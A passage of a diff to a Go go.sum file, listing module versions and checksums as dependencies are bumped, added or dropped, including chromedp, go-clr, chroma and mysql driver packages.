cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
@@ -39,8 +38,8 @@ cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RX
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
github.com/AlecAivazis/survey/v2 v2.2.2 h1:1I4qBrNsHQE+91tQCqVlfrKe9DEL65949d1oKZWVELY=
github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0Ttd6q3Vl2fahjk=
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
github.com/Azure/azure-sdk-for-go v16.2.1+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8=
github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
@@ -75,6 +74,8 @@ github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/Masterminds/semver/v3 v3.1.1 h1:hLg3sBzpNErnxhQtUy/mmLR2I9foDujNK030IGemrRc=
github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs=
github.com/Microsoft/go-winio v0.4.11/go.mod h1:VhR8bwka0BXejwEJY73c50VrPtXAaKcyvVC4A4RozmA=
github.com/Microsoft/go-winio v0.4.14/go.mod h1:qXqCSQ3Xa7+6tgxaGTIe4Kpcdsi+P8jBhyzoq1bpyYA=
github.com/Microsoft/go-winio v0.4.16-0.20201130162521-d1ffc52c7331/go.mod h1:XB6nPKklQyQ7GC9LdcBEcBl8PF76WugXOPRXwdLnMv0=
@@ -85,9 +86,12 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
@@ -103,25 +107,15 @@ github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdc
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
github.com/alecthomas/chroma v0.8.1/go.mod h1:sko8vR34/90zvl5QdcUdvzL3J8NKjAUx9va9jPuFNoM=
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721 h1:JHZL0hZKJ1VENNfmXvHbgYlbUOvpzYzvy2aZU5gXVeo=
github.com/alecthomas/colour v0.0.0-20160524082231-60882d9e2721/go.mod h1:QO9JBoKquHd+jz9nshCh40fOfO+JzsoXy8qTHF68zU0=
github.com/alecthomas/kong v0.2.4/go.mod h1:kQOmtJgV+Lb4aj+I2LEn40cbtawdWJ9Y8QLq+lElKxE=
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897 h1:p9Sln00KOTlrYkxI1zYWl1QLnEqAqEARBEYa8FQnQcY=
github.com/alecthomas/repr v0.0.0-20180818092828-117648cd9897/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ=
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/alexflint/go-filemutex v0.0.0-20171022225611-72bdc8eae2ae/go.mod h1:CgnQgUtFrFz9mxFNtED3jI5tLDjKlOM+oUF/sTk6ps0=
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
@@ -134,7 +128,6 @@ github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+Ce
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngEKAMDJEczWVA=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/blang/semver v3.5.0+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
@@ -150,8 +143,14 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
@@ -205,7 +204,6 @@ github.com/containernetworking/plugins v0.8.7/go.mod h1:R7lXeZaBzpfqapcAbHRW8/CY
github.com/containers/ocicrypt v1.0.3/go.mod h1:CUBa+8MRNL/VkpxYIpaMtgn1WgXGyvPQj8jcy0EVG6g=
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-iptables v0.4.5/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
github.com/coreos/go-iptables v0.5.0/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
github.com/coreos/go-oidc v2.1.0+incompatible/go.mod h1:CgnwVTmzoESiwO9qyAFEMiHoZ1nMCKZlZ9V6mm3/LKc=
@@ -221,15 +219,15 @@ github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfc
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/creack/pty v1.1.7 h1:6pwm8kMQKCmgUg0ZHTm5+/YvRK0s3THD/28+T6/kk4A=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/cyphar/filepath-securejoin v0.2.2/go.mod h1:FpkQEhXnPnOthhzymB7CGsFk2G9VLXONKD9G7QGMM+4=
github.com/d2g/dhcp4 v0.0.0-20170904100407-a1d1b6c41b1c/go.mod h1:Ct2BUK8SB0YC1SMSibvLzxjeJLnrYEVLULFNiHY9YfQ=
github.com/d2g/dhcp4client v1.0.0/go.mod h1:j0hNfjhrt2SxUOw55nL0ATM/z4Yt3t2Kd1mW34z5W5s=
github.com/d2g/dhcp4server v0.0.0-20181031114812-7d4a0a7f59a5/go.mod h1:Eo87+Kg/IX2hfWJfwxMzLyuSZyxSoAug2nGa1G2QAi8=
github.com/d2g/hardwareaddr v0.0.0-20190221164911-e7d9fbe030e4/go.mod h1:bMl4RjIciD2oAxI7DmWRx6gbeqrkoLqv3MV0vzNad+I=
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 h1:y5HC9v93H5EPKqaS1UYVg1uYah5Xf51mBfIoWehClUQ=
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964/go.mod h1:Xd9hchkHSWYkEqJwUGisez3G1QY8Ryz0sdWrLPMGjLk=
github.com/davecgh/go-spew v0.0.0-20151105211317-5215b55f46b2/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
@@ -247,8 +245,8 @@ github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM5
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/dnaeon/go-vcr v1.0.1/go.mod h1:aBB1+wY4s93YsC3HHjMBMrwTj2R9FHDzUr9KyGc8n1E=
github.com/docker/distribution v2.7.1-0.20190205005809-0d3efadf0154+incompatible/go.mod h1:J2gT2udsDAN96Uj4KfcMRqY0/ypR+oyYUYmja8H+y+w=
github.com/docker/docker v1.4.2-0.20191028175130-9e7d5ac5ea55/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk=
@@ -280,8 +278,8 @@ github.com/evanphx/json-patch v4.9.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLi
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
@@ -301,8 +299,10 @@ github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2
github.com/go-ini/ini v1.25.4/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas=
github.com/go-logr/logr v0.2.0/go.mod h1:z6/tIYblkpsD+a4lm/fGIIU9mZ+XfAiaFtq7xTgseGU=
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
@@ -319,17 +319,23 @@ github.com/go-openapi/spec v0.19.0/go.mod h1:XkF/MOi14NmjsfZ8VtAKf8pIlbZzyoTvZsd
github.com/go-openapi/swag v0.0.0-20160704191624-1d0bd113de87/go.mod h1:DXUve3Dpr1UfpPtxFw+EFuQ41HhCWZfha5jSVRG7C7I=
github.com/go-openapi/swag v0.17.0/go.mod h1:AByQ+nYG6gQg71GINrmuDXCPWdL640yX49/kXLo40Tg=
github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
github.com/godbus/dbus v0.0.0-20151105175453-c7fdd8b5cd55/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/gofrs/flock v0.8.0/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU=
github.com/gofrs/uuid v3.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gofrs/uuid v3.3.0+incompatible h1:8K4tyRfvU1CYPgJsveYFQMhpFd/wXNM7iK6rR7UHz84=
github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gofrs/uuid v4.3.0+incompatible h1:CaSVZxm5B+7o45rtab4jC2G37WGYX1zQfuU2i6DSvnc=
github.com/gofrs/uuid v4.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gogo/googleapis v1.2.0/go.mod h1:Njal3psf3qN6dwBtQfUmBZh2ybovJ0tlu3o/AC7HYjU=
github.com/gogo/googleapis v1.4.1/go.mod h1:2lpHqI5OcWCtVElxXnPt+s8oJvMpySlOyM6xDCrzib4=
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
@@ -438,34 +444,20 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
